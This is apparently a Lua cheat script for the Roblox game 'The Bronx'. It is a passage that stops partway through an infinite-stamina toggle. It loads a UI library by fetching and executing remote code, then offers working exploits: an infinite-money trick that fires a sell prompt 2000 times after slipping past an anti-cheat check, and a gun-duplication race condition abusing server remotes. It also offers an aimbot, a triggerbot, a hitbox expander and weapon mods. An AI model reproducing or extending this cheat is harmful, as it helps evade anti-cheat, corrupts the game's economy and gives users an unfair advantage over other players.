local Rayfield = loadstring(game:HttpGet('https://[Log in to view URL]'))()
local executor = identifyexecutor and identifyexecutor() or "Unknown Executor"

local customTheme = {
    TextColor = Color3.fromRGB(255, 255, 255),
    Background = Color3.fromRGB(15, 15, 15),
    Topbar = Color3.fromRGB(15, 15, 15),
    Shadow = Color3.fromRGB(255, 255, 255),
    NotificationBackground = Color3.fromRGB(0, 0, 0),
    NotificationActionsBackground = Color3.fromRGB(35, 0, 70),
    TabBackground = Color3.fromRGB(15, 15, 15),
    TabStroke = Color3.fromRGB(15, 15, 15),
    TabBackgroundSelected = Color3.fromRGB(15, 15, 15),
    TabTextColor = Color3.fromRGB(149, 149, 149),
    SelectedTabTextColor = Color3.fromRGB(255, 255, 255),
    ElementBackground = Color3.fromRGB(15, 15, 15),
    ElementBackgroundHover = Color3.fromRGB(15, 15, 15),
    SecondaryElementBackground = Color3.fromRGB(15, 15, 15),
    ElementStroke = Color3.fromRGB(77, 251, 16),
    SecondaryElementStroke = Color3.fromRGB(77, 251, 16),
    SliderBackground = Color3.fromRGB(255, 255, 255),
    SliderProgress = Color3.fromRGB(77, 251, 16),
    SliderStroke = Color3.fromRGB(77, 251, 16),
    ToggleBackground = Color3.fromRGB(15, 15, 15),
    ToggleEnabled = Color3.fromRGB(77, 251, 16),
    ToggleDisabled = Color3.fromRGB(255, 255, 255),
    ToggleEnabledStroke = Color3.fromRGB(77, 251, 16),
    ToggleDisabledStroke = Color3.fromRGB(15, 15, 15),
    ToggleEnabledOuterStroke = Color3.fromRGB(255, 255, 255),
    ToggleDisabledOuterStroke = Color3.fromRGB(255, 255, 255),
    DropdownSelected = Color3.fromRGB(149, 149, 149),
    DropdownUnselected = Color3.fromRGB(15, 15, 15),
    InputBackground = Color3.fromRGB(15, 15, 15),
    InputStroke = Color3.fromRGB(77, 251, 16),
}


local Window = Rayfield:CreateWindow({
   Name = "X-DK V2 | The Bronx | "..executor,
   Icon = 112029241653427,
   LoadingTitle = "",
   LoadingSubtitle = "",
   Theme = customTheme,
   DisableRayfieldPrompts = false,
   DisableBuildWarnings = false,
   ConfigurationSaving = {
      Enabled = false,
      FolderName = "GreenBlackThemeHub",
      FileName = "BigHub"
   },
   Discord = {
      Enabled = false,
      Invite = "",
      RememberJoins = true
   },
   KeySystem = false,
   KeySettings = {
      Title = "",
      Subtitle = "Authentication Required",
      Note = "Get your key at: discord.gg/dkshub",
      FileName = "jc_hub_key",
      SaveKey = true,
      GrabKeyFromSite = false,
      Key = {""},
      Theme = customTheme
   }
})

uis = game:GetService("UserInputService")
TweenService = game:GetService("TweenService")

existingGui = game.CoreGui:FindFirstChild("CustomScreenGui")
if existingGui then
    existingGui:Destroy()
end

ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "CustomScreenGui"
Frame = Instance.new("Frame")
TextButton = Instance.new("TextButton")

ScreenGui.Parent = game.CoreGui
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(1, -120, 0, 30)
Frame.Size = UDim2.new(0, 60, 0, 60)

imageLabel = Instance.new("ImageLabel")
imageLabel.Parent = Frame
imageLabel.Size = UDim2.new(1, 0, 1, 0)
imageLabel.Position = UDim2.new(0, 0, 0, 0)
imageLabel.Image = "rbxassetid://112029241653427"
imageLabel.BackgroundTransparency = 1

TextButton.Parent = imageLabel
TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton.BackgroundTransparency = 1.000
TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton.BorderSizePixel = 0
TextButton.Size = UDim2.new(1, 0, 1, 0)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = ""
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextSize = 27

function createTextShadow(button)
    shadowOffset = 2
    shadowLabel = Instance.new("TextLabel", Frame)
    shadowLabel.Size = button.Size
    shadowLabel.Position = button.Position + UDim2.new(0, shadowOffset, 0, shadowOffset)
    shadowLabel.Text = button.Text
    shadowLabel.TextScaled = button.TextScaled
    shadowLabel.Font = button.Font
    shadowLabel.BackgroundTransparency = 1
    shadowLabel.TextSize = button.TextSize
    shadowLabel.TextTransparency = 0.5
end

createTextShadow(TextButton)

glowStroke = Instance.new("UIStroke", Frame)
glowStroke.Thickness = 3
glowStroke.Transparency = 0.8
glowStroke.Color = Color3.fromRGB(77,251,16,255)

gradient = Instance.new("UIGradient", glowStroke)
gradient.Color = ColorSequence.new{
    ColorSequenceKeypoint.new(0, Color3.fromRGB(77,251,16,255)),
    ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 20, 147))
}
gradient.Rotation = 45

tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
tweenShowFrame = TweenService:Create(Frame, tweenInfo, {Position = UDim2.new(0.5, 0, 0.3, 0)})

function createGlowEffect(stroke)
    glowTweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, -1, true)
    tween = TweenService:Create(stroke, glowTweenInfo, {Transparency = 0.1, Thickness = 5})
    tween:Play()
end

createGlowEffect(glowStroke)

TextButton.MouseButton1Click:Connect(function()
    Rayfield:SetVisibility(not Rayfield:IsVisible())
end)

function makeDraggable(frame)
    dragging = nil
    dragStart = nil
    startPos = nil
    lastInputChangedConnection = nil

    function beginDrag(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
            dragging = true
            dragStart = input.Position
            startPos = frame.Position

            if lastInputChangedConnection then
                lastInputChangedConnection:Disconnect()
            end

            lastInputChangedConnection = uis.InputChanged:Connect(function(newInput)
                if newInput.UserInputType == Enum.UserInputType.MouseMovement or newInput.UserInputType == Enum.UserInputType.Touch then
                    delta = newInput.Position - dragStart
                    frame.Position = UDim2.new(
                        startPos.X.Scale, startPos.X.Offset + delta.X,
                        startPos.Y.Scale, startPos.Y.Offset + delta.Y
                    )
                end
            end)
        end
    end

    function endDrag(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
            dragging = false
            if lastInputChangedConnection then
                lastInputChangedConnection:Disconnect()
                lastInputChangedConnection = nil
            end
        end
    end

    frame.InputBegan:Connect(beginDrag)
    frame.InputEnded:Connect(endDrag)

    for _, child in ipairs(frame:GetDescendants()) do
        if child:IsA("GuiObject") then
            child.InputBegan:Connect(beginDrag)
            child.InputEnded:Connect(endDrag)
        end
    end

    uis.InputEnded:Connect(function(input)
        if dragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
            dragging = false
            if lastInputChangedConnection then
                lastInputChangedConnection:Disconnect()
                lastInputChangedConnection = nil
            end
        end
    end)
end

makeDraggable(Frame)

local MainTab = Window:CreateTab("Main", nil)
MainTab:CreateSection("Inf money")

local Paragraph = MainTab:CreateParagraph({
    Title = "Instructions",
    Content = "Using infinite money is easy — just make an Ice-Fruit Cup, then click the 'Inf Money' button to instantly max out your dirty money."
})

MainTab:CreateButton({
    Name = "Infinite Money Vulnerability",
    Callback = function()
        local player = game:GetService("Players").LocalPlayer
        local character = player.Character or player.CharacterAdded:Wait()
        local hrp = character:WaitForChild("HumanoidRootPart")
        local originalPos = hrp.Position

        local function teleportTo(x, y, z)
            local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
            local hrp = player.Character:FindFirstChild("HumanoidRootPart")
            if humanoid and hrp then
                humanoid:ChangeState(0)
                local timeout = 5
                local startTime = tick()
                repeat task.wait() until not player:GetAttribute("LastACPos") or (tick() - startTime) > timeout
                hrp.CFrame = CFrame.new(x, y, z)
            end
        end

        local sellPart = workspace:FindFirstChild("IceFruit Sell")
        local sellPrompt = sellPart and sellPart:FindFirstChildWhichIsA("ProximityPrompt")

        if not (sellPart and sellPrompt) then
            warn("SellPart or ProximityPrompt not found.")
            return
        end

        task.wait(0.5)
        teleportTo(sellPart.Position.X, sellPart.Position.Y, sellPart.Position.Z)
        task.wait(1)

        local success, err = pcall(function()
            for _ = 1, 2000 do
                fireproximityprompt(sellPrompt, 0)
            end
        end)

        if not success then
            warn("Proximity prompt interaction failed:", err)
        end

        task.wait(1)
        teleportTo(originalPos.X, originalPos.Y, originalPos.Z)
    end
})


local SharedStorage = game.ReplicatedStorage

local function InvokeServer(Remote, ...)
    return Remote:InvokeServer(...)
end

local function FindItem(Item)
    return game.Players.LocalPlayer.Backpack:FindFirstChild(Item) or game.Players.LocalPlayer.Character:FindFirstChild(Item)
end

local function AutoBuySupplies()
    local Items = {
        "Ice-Fruit Bag",
        "Ice-Fruit Cupz",
        "FijiWater",
        "FreshWater",
    }

    for _, item in ipairs(Items) do
        local ItemStock = SharedStorage.ExoticStock:FindFirstChild(item)
        if not ItemStock or ItemStock.Value == 0 then
            warn("Item out of stock:", item)
            return false
        end
    end

    for _, item in ipairs(Items) do
        InvokeServer(SharedStorage.ExoticShopRemote, item)
        task.wait(1.25)
    end

    for _, item in ipairs(Items) do
        if not FindItem(item) then
            warn("Failed to acquire:", item)
            return false
        end
    end

    return true
end

MainTab:CreateButton({
    Name = "Buy Ice-Fruitz-Itemz",
    Callback = function()
        local success = AutoBuySupplies()
        if success then
            Rayfield:Notify({
                Title = "AutoBuy",
                Content = "Items purchased successfully!",
                Duration = 5,
                Image = 4483362458,
            })
        else
            Rayfield:Notify({
                Title = "AutoBuy",
                Content = "Failed to purchase items!",
                Duration = 5,
                Image = 4483362458,
            })
        end
    end,
})


MainTab:CreateSection("Market Dupe")

local Paragraph = MainTab:CreateParagraph({
    Title = "Instructions",
    Content = "To use Market Dupe, equip the gun you want to duplicate and press the button. Addtionally avoid having more than two of the same item in your inventory, or the duplication will fail."
})

MainTab:CreateButton({
    Name = "Duplicate Gun",
    Callback = function()
        local ReplicatedStorage = cloneref(game:GetService("ReplicatedStorage"))
        local Players = cloneref(game:GetService("Players"))
        local Player = Players.LocalPlayer
        local Character = Player.Character or Player.CharacterAdded:Wait()
        local Backpack = Player:WaitForChild("Backpack")

        local Tool = Character:FindFirstChildOfClass("Tool")
        if not Tool then return end

        Tool.Parent = Backpack
        task.wait(0.5)

        local ToolName = Tool.Name
        local ToolId

        local marketConnection = ReplicatedStorage.MarketItems.ChildAdded:Connect(function(item)
            if item.Name == ToolName then
                local owner = item:WaitForChild("owner", 2)
                if owner and owner.Value == Player.Name then
                    ToolId = item:GetAttribute("SpecialId")
                end
            end
        end)

        task.spawn(function()
            ReplicatedStorage.ListWeaponRemote:FireServer(ToolName, 99999)
        end)

        task.wait(0.35)

        task.spawn(function()
            ReplicatedStorage.BackpackRemote:InvokeServer("Store", ToolName)
        end)

        task.wait(3)

        if ToolId then
            task.spawn(function()
                ReplicatedStorage.BuyItemRemote:FireServer(ToolName, "Remove", ToolId)
            end)
        end

        task.spawn(function()
            ReplicatedStorage.BackpackRemote:InvokeServer("Grab", ToolName)
        end)

        marketConnection:Disconnect()
        task.wait(1)
    end
})


MainTab:CreateSection("Teleportation")

local teleportLocations = {
    {Name = "Dripstore👕", Position = Vector3.new(67459, 10489, 551)},
    {Name = "Bank🏦", Position = Vector3.new(-204, 284, -1223)},
    {Name = "Ice Box💎", Position = Vector3.new(-193, 284, -1169)},
    {Name = "Bank tools / Roof💰", Position = Vector3.new(-384, 340, -557)},
    {Name = "Jamaican Food🍟", Position = Vector3.new(-670, 254, -810)},
    {Name = "Deli and Grill🍗", Position = Vector3.new(-746, 254, -906)},
    {Name = "Chicken and Wings🐓", Position = Vector3.new(964, 254, -813)},
    {Name = "Gunstore [1]🔫", Position = Vector3.new(-1003, 254, -817)},
    {Name = "Gunstore [2]🔫", Position = Vector3.new(-202, 284, -798)},
    {Name = "Gunstore [3]🔫", Position = Vector3.new(72425, 128856, -1082)},
    {Name = "Gunstore [4]🔫", Position = Vector3.new(60822, 87609, -352)},
    {Name = "Pawnshop💈", Position = Vector3.new(-1051, 254, -815)},
    {Name = "Laundermat🧺", Position = Vector3.new(-990, 254, -686)},
    {Name = "Backpack🎒", Position = Vector3.new(-670, 254, -681)},
    {Name = "Tatoo✒️", Position = Vector3.new(-637, 254, -591)},
    {Name = "Penthouse Cook Pot🏠", Position = Vector3.new(-614, 356, -683)},
    {Name = "New Penthouse🏚️", Position = Vector3.new(-597, 356, -714)},
    {Name = "Old Penthouse🏡", Position = Vector3.new(-124, 417, -575)},
    {Name = "Dollar Central💸", Position = Vector3.new(-389, 254, -1082)},
    {Name = "Dealership🚗", Position = Vector3.new(-389, 253, -1232)},
    {Name = "mcdonalds🍟", Position = Vector3.new(-999, 254, -1134)},
}

local player = game.Players.LocalPlayer

local function teleport(x, y, z)
    local character = player.Character or player.CharacterAdded:Wait()
    local humanoid = character:WaitForChild("Humanoid")
    local hrp = character:WaitForChild("HumanoidRootPart")

    humanoid:ChangeState(0)
    repeat task.wait() until not player:GetAttribute("LastACPos")
    hrp.CFrame = CFrame.new(x, y, z)
end

local selectedTeleport = teleportLocations[1]
local locationNames = {}

for _, location in ipairs(teleportLocations) do
    table.insert(locationNames, location.Name)
end

MainTab:CreateDropdown({
    Name = "Locations",
    Options = locationNames,
    CurrentOption = {locationNames[1]},
    MultipleOptions = false,
    Flag = "TeleportDropdown",
    Callback = function(option)
        for _, location in ipairs(teleportLocations) do
            if location.Name == option[1] then
                selectedTeleport = location
                break
            end
        end
    end
})

MainTab:CreateButton({
    Name = "Teleport to Location",
    Callback = function()
        if selectedTeleport then
            teleport(selectedTeleport.Position.X, selectedTeleport.Position.Y, selectedTeleport.Position.Z)
        end
    end
})

MainTab:CreateSection("GUI's")

local PlayerGui = game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")

local guiMap = {
	["Crafting"] = {"CraftGUI", "Main", "Visible"},
	["Megaphone List"] = {"Bronx MessageList", "Holder", "Visible"},
	["Animations"] = {"Animations", "Frame", "Visible"},
	["Bronx Market"] = {"Bronx Market 2", nil, "Enabled"},
	["Bronx Tattoos"] = {"Bronx TATTOOS", nil, "Enabled"},
	["Bronx Clothing"] = {"Bronx CLOTHING", nil, "Enabled"},
}

local options = {}
for name in pairs(guiMap) do
	table.insert(options, name)
end

local selected = {}

MainTab:CreateDropdown({
	Name = "Select GUIs",
	CurrentOption = {},
	MultipleOptions  = true,
	Options = options,
    Flag = "hiih",
	Callback = function(Value)
		selected = Value
	end
})

MainTab:CreateToggle({
	Name = "Open Selected GUIs",
	CurrentValue = false,
    Flag = "DKhi",
	Callback = function(state)
		for _, name in ipairs(selected) do
			local path = guiMap[name]
			local gui = PlayerGui:FindFirstChild(path[1])
			if gui then
				local target = path[2] and gui:FindFirstChild(path[2]) or gui
				if target then
					target[path[3]] = state
				end
			end
		end
	end
})




local CombatTab = Window:CreateTab("Combat", nil)
CombatTab:CreateSection("Fist Modifications")

local function supportsRequire()
    return true
end

CombatTab:CreateToggle({
    Name = "Anti-Cooldown Swing",
    CurrentValue = false,
    Flag = "AntiCooldownSwing",
    Callback = function(value)
        if not supportsRequire() then
            Rayfield:Notify({
                Title = "SleepyHub",
                Content = "Your executor doesn't support this. We recommend using Wave/Synapse-Z",
                Duration = 5,
                Image = 4483362458,
            })
            return
        end
        local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Melee_Settings") then
            local settings = require(tool.Melee_Settings)
            settings.SwingCooldown = value and 0 or nil
        end
    end,
})

CombatTab:CreateToggle({
    Name = "Anti-Cooldown Stomp",
    CurrentValue = false,
    Flag = "AntiCooldownStomp",
    Callback = function(value)
        if not supportsRequire() then
            Rayfield:Notify({
                Title = "SleepyHub",
                Content = "Your executor doesn't support this. We recommend using Wave/Synapse-Z",
                Duration = 5,
                Image = 4483362458,
            })
            return
        end
        local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Melee_Settings") then
            local settings = require(tool.Melee_Settings)
            settings.StompCooldown = value and 0 or nil
        end
    end,
})

CombatTab:CreateToggle({
    Name = "Anti-Cooldown Attack",
    CurrentValue = false,
    Flag = "AntiCooldownAttack",
    Callback = function(value)
        if not supportsRequire() then
            Rayfield:Notify({
                Title = "SleepyHub",
                Content = "Your executor doesn't support this. We recommend using Wave/Synapse-Z",
                Duration = 5,
                Image = 4483362458,
            })
            return
        end
        local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Melee_Settings") then
            local settings = require(tool.Melee_Settings)
            settings.AttackCooldown = value and 0 or nil
        end
    end,
})


CombatTab:CreateSection("Weapon Modifications")

local Paragraph = CombatTab:CreateParagraph({Title = "Warning!", Content = "If the gun Mods dont work it is your exectuor please use a 80% unc one if wanna use gun mods,"})

CombatTab:CreateToggle({
    Name = "1 Tap",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            local setting = require(tool.Setting)
            setting.BaseDamage = Value and 9e9 or 25
        end
    end
})

CombatTab:CreateToggle({
    Name = "Infinite Ammo",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            local setting = require(tool.Setting)
            setting.LimitedAmmoEnabled = not Value
            if Value then
                setting.MaxAmmo = 100000000
                setting.AmmoPerMag = 10000000
                setting.Ammo = 100000000
            end
        end
    end
})

CombatTab:CreateToggle({
    Name = "Infinite Mag",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            require(tool.Setting).AmmoPerMag = 1000000000
        end
    end
})

CombatTab:CreateToggle({
    Name = "Infinite Range",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            require(tool.Setting).Range = 9e9
        end
    end
})

CombatTab:CreateToggle({
    Name = "Fully Automatic",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            require(tool.Setting).Auto = 9e9
        end
    end
})

CombatTab:CreateToggle({
    Name = "Disable Jamming",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            require(tool.Setting).JamChance = 0
        end
    end
})

CombatTab:CreateToggle({
    Name = "Disable Recoil",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Settings") then
            local settings = require(tool.Settings)
            settings.Recoil = Value and 0 or 1
        end
    end
})

CombatTab:CreateToggle({
    Name = "Enable Sniper Mode",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            require(tool.Setting).SniperEnabled = Value
        end
    end
})

CombatTab:CreateToggle({
    Name = "Enable Auto Reload",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            require(tool.Setting).AutoReload = Value
        end
    end
})

CombatTab:CreateSection("Aimbot")

local player = game.Players.LocalPlayer
local camera = workspace.CurrentCamera
local runService = game:GetService("RunService")

local aimbotEnabled = false
local aimPart = "HumanoidRootPart"

local function getNearestPlayer()
    local closestPlayer = nil
    local closestDistance = math.huge

    for _, otherPlayer in ipairs(game.Players:GetPlayers()) do
        if otherPlayer ~= player 
        and otherPlayer.Character 
        and otherPlayer.Character:FindFirstChild("Humanoid") 
        and otherPlayer.Character:FindFirstChild("HumanoidRootPart") 
        and otherPlayer.Character.Humanoid.Health > 0 then

            local distance = (player.Character.HumanoidRootPart.Position - otherPlayer.Character.HumanoidRootPart.Position).Magnitude
            if distance < closestDistance then
                closestDistance = distance
                closestPlayer = otherPlayer
            end
        end
    end

    return closestPlayer
end

local function lockCameraToPlayer()
    local nearestPlayer = getNearestPlayer()
    if nearestPlayer and nearestPlayer.Character and nearestPlayer.Character:FindFirstChild(aimPart) then
        local target = nearestPlayer.Character[aimPart]
        camera.CFrame = CFrame.new(camera.CFrame.Position, target.Position)
    end
end

runService.RenderStepped:Connect(function()
    if aimbotEnabled then
        lockCameraToPlayer()
    end
end)

CombatTab:CreateToggle({
    Name = "Enable Aimbot",
    CurrentValue = false,
    Flag = "AimbotToggle",
    Callback = function(Value)
        aimbotEnabled = Value
    end
})

CombatTab:CreateDropdown({
    Name = "Aim Part",
    Options = { "HumanoidRootPart", "Head" },
    CurrentOption = "HumanoidRootPart",
    Flag = "AimPartDropdown",
    Callback = function(Value)
        aimPart = Value[1]
    end
})

CombatTab:CreateSection("Hitbox Expander")

local Players = game:GetService("Players")
local localPlayer = Players.LocalPlayer
local RunService = game:GetService("RunService")

local toggleEnabled = false
local hitboxSize = 25
local rainbowEnabled = false
local selectedColor = Color3.fromRGB(100, 100, 255)

local function GetRainbowColor()
    local t = tick() * 2
    return Color3.fromHSV((t % 1), 1, 1)
end

local function ApplyEffect()
    for _, player in pairs(Players:GetPlayers()) do
        if player ~= localPlayer and player.Character then
            local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
            local rootPart = player.Character:FindFirstChild("HumanoidRootPart")
            if humanoid and humanoid.Health > 0 and rootPart and rootPart:IsA("Part") then
                rootPart.Size = Vector3.new(hitboxSize, hitboxSize, hitboxSize)
                rootPart.Transparency = 0.5
                rootPart.Color = rainbowEnabled and GetRainbowColor() or selectedColor
                rootPart.CanCollide = false
            end
        end
    end
end

local function ResetEffect()
    for _, player in pairs(Players:GetPlayers()) do
        if player ~= localPlayer and player.Character then
            local rootPart = player.Character:FindFirstChild("HumanoidRootPart")
            if rootPart and rootPart:IsA("Part") then
                rootPart.Size = Vector3.new(2, 2, 1)
                rootPart.Transparency = 0
                rootPart.Color = Color3.new(1, 1, 1)
                rootPart.CanCollide = true
            end
        end
    end
end

CombatTab:CreateToggle({
    Name = "Enable Hitbox Expander",
    CurrentValue = false,
    Flag = "ToggleGiant",
    Callback = function(Value)
        toggleEnabled = Value
        if Value then
            ApplyEffect()
        else
            ResetEffect()
        end
    end,
})

CombatTab:CreateSlider({
    Name = "Hitbox Multiplier",
    Range = {5, 100},
    Increment = 1,
    Suffix = "Size",
    CurrentValue = hitboxSize,
    Flag = "HitboxSize",
    Callback = function(Value)
        hitboxSize = Value
        if toggleEnabled then ApplyEffect() end
    end,
})

CombatTab:CreateColorPicker({
    Name = "Hitbox ColorPicker",
    Color = selectedColor,
    Flag = "HitboxColor",
    Callback = function(Color)
        selectedColor = Color
        if toggleEnabled and not rainbowEnabled then
            ApplyEffect()
        end
    end,
})

CombatTab:CreateToggle({
    Name = "Rainbow Hitbox",
    CurrentValue = false,
    Flag = "RainbowToggle",
    Callback = function(Value)
        rainbowEnabled = Value
        if toggleEnabled then
            if Value then
                local rainbowConnection
                rainbowConnection = RunService.RenderStepped:Connect(function()
                    if not rainbowEnabled or not toggleEnabled then
                        rainbowConnection:Disconnect()
                        return
                    end
                    ApplyEffect()
                end)
            else
                ApplyEffect()
            end
        end
    end,
})


CombatTab:CreateSection("FOV Circle")

local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")

local localPlayer = Players.LocalPlayer
local mouse = localPlayer:GetMouse()

local aimCircleRadius = 100
local aimCircleThickness = 2
local circleColor = Color3.fromRGB(128, 0, 128)
local rainbowFOV = false

local aimCircle = nil
local fovEnabled = false

local function createAimCircle()
    if not aimCircle then
        aimCircle = Drawing.new("Circle")
        aimCircle.Visible = true
        aimCircle.Filled = false
        aimCircle.Color = circleColor
        aimCircle.Thickness = aimCircleThickness
    end
    aimCircle.Radius = aimCircleRadius
end

local hue = 0
local function getRainbowColor()
    hue = (hue + 1) % 360
    return Color3.fromHSV(hue / 360, 1, 1)
end

RunService.RenderStepped:Connect(function()
    if fovEnabled then
        if not aimCircle then
            createAimCircle()
        end
        aimCircle.Position = Vector2.new(mouse.X, mouse.Y + 40)
        aimCircle.Visible = true
        aimCircle.Radius = aimCircleRadius
        aimCircle.Thickness = aimCircleThickness
        aimCircle.Color = rainbowFOV and getRainbowColor() or circleColor
    else
        if aimCircle then
            aimCircle.Visible = false
        end
    end
end)

CombatTab:CreateToggle({
    Name = "Enable FOV Circle",
    CurrentValue = false,
    Callback = function(Value)
        fovEnabled = Value
        if fovEnabled and not aimCircle then
            createAimCircle()
        end
    end,
})

CombatTab:CreateSlider({
    Name = "FOV Radius",
    Range = {100, 300},
    Increment = 5,
    Suffix = "units",
    CurrentValue = aimCircleRadius,
    Callback = function(Value)
        aimCircleRadius = Value
        if aimCircle then
            aimCircle.Radius = aimCircleRadius
        end
    end,
})

CombatTab:CreateSlider({
    Name = "FOV Thickness",
    Range = {1.5, 5},
    Increment = 1,
    Suffix = "thickness",
    CurrentValue = aimCircleThickness,
    Callback = function(Value)
        aimCircleThickness = Value
        if aimCircle then
            aimCircle.Thickness = aimCircleThickness
        end
    end,
})

CombatTab:CreateColorPicker({
    Name = "FOV Colorpicker",
    Color = circleColor,
    Callback = function(Value)
        circleColor = Value
        if aimCircle and not rainbowFOV then
            aimCircle.Color = circleColor
        end
    end,
})

CombatTab:CreateToggle({
    Name = "Rainbow FOV Circle",
    CurrentValue = false,
    Callback = function(Value)
        rainbowFOV = Value
    end,
})

CombatTab:CreateSection("Snap Lines")

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local Camera = workspace.CurrentCamera
local LocalPlayer = Players.LocalPlayer

local FOVRadius = 150
local MaxDistance = 300
local AimPartName = "HumanoidRootPart"
local arrowColor = Color3.fromRGB(255, 0, 0)
local arrowEnabled = false

local arrow = Drawing.new("Line")
arrow.Visible = false
arrow.Thickness = 2
arrow.Color = arrowColor

local function isInFOV(player)
    local char = player.Character
    if not char then return false end

    local part = char:FindFirstChild("Head")
    local humanoid = char:FindFirstChildOfClass("Humanoid")
    if not part or not humanoid or humanoid.Health <= 0 then return false end

    local screenPos, onScreen = Camera:WorldToViewportPoint(part.Position)
    if not onScreen then return false end

    local mousePos = UserInputService:GetMouseLocation()
    local dist = (Vector2.new(screenPos.X, screenPos.Y) - mousePos).Magnitude
    return dist <= FOVRadius
end

local function getClosestPlayer()
    local closest = nil
    local shortest = MaxDistance

    for _, player in ipairs(Players:GetPlayers()) do
        if player ~= LocalPlayer and player.Character then
            local char = player.Character
            local hrp = char:FindFirstChild(AimPartName)
            local humanoid = char:FindFirstChildOfClass("Humanoid")

            if hrp and humanoid and humanoid.Health > 0 and isInFOV(player) then
                local dist = (LocalPlayer.Character.HumanoidRootPart.Position - hrp.Position).Magnitude
                if dist < shortest then
                    shortest = dist
                    closest = player
                end
            end
        end
    end

    return closest
end

RunService.RenderStepped:Connect(function()
    if not arrowEnabled then
        arrow.Visible = false
        return
    end

    local target = getClosestPlayer()
    if target and target.Character then
        local part = target.Character:FindFirstChild(AimPartName)
        if part then
            local screenPos, onScreen = Camera:WorldToViewportPoint(part.Position)

            if onScreen then
                local mousePos = UserInputService:GetMouseLocation()
                arrow.From = mousePos
                arrow.To = Vector2.new(screenPos.X, screenPos.Y)
                arrow.Color = arrowColor
                arrow.Visible = true
                return
            end
        end
    end

    arrow.Visible = false
end)

CombatTab:CreateToggle({
    Name = "Enable Snapline",
    CurrentValue = false,
    Callback = function(value)
        arrowEnabled = value
        if not value then
            arrow.Visible = false
        end
    end
})

CombatTab:CreateColorPicker({
    Name = "Snapline Colorpicker",
    Color = arrowColor,
    Callback = function(color)
        arrowColor = color
    end
})

CombatTab:CreateSection("TriggerBot")

local player = game:GetService("Players").LocalPlayer
local mouse = player:GetMouse()
local runService = game:GetService("RunService")

local autoClickEnabled = false
local clickDelay = 0.1

local Toggle = CombatTab:CreateToggle({
   Name = "TriggerBot",
   CurrentValue = false,
   Callback = function(Value)
      autoClickEnabled = Value
   end,
})

local Slider = CombatTab:CreateSlider({
   Name = "Clicking Delay",
   Range = {0.05, 1},
   Increment = 0.05,
   Suffix = "s",
   CurrentValue = 0.1,
   Callback = function(Value)
      clickDelay = Value
   end,
})

task.spawn(function()
   while true do
      if autoClickEnabled and mouse.Target and mouse.Target.Parent:FindFirstChild("Humanoid") and mouse.Target.Parent.Name ~= player.Name then
         mouse1press()
         task.wait()
         mouse1release()
         task.wait(clickDelay)
      else
         task.wait(0.05)
      end
   end
end)

local MiscTab = Window:CreateTab("Misc", nil)
MiscTab:CreateSection("In-Game")

local AntiStaminaEnabled = false
MiscTab:CreateToggle({
    Name = "Inf Stamina",
    CurrentValue = false,
    Callback = function(Value)
        AntiStaminaEnabled = Value
        if Value then
            task.spawn(function()
                while AntiStaminaEnabled do
                    task.wait(1)
                    local player = game.Players.LocalPlayer
                    if player and player:FindFirstChild("PlayerGui") then
                        local staminaScript = player.PlayerGui:FindFirstChild("Run") 
                            and player.PlayerGui.Run:FindFirstChild("Frame") 
                            and player.PlayerGui.Run.Frame:FindFirstChild("Frame") 
                            and player.PlayerGui.Run.Frame.Frame:FindFirstChild("Frame") 
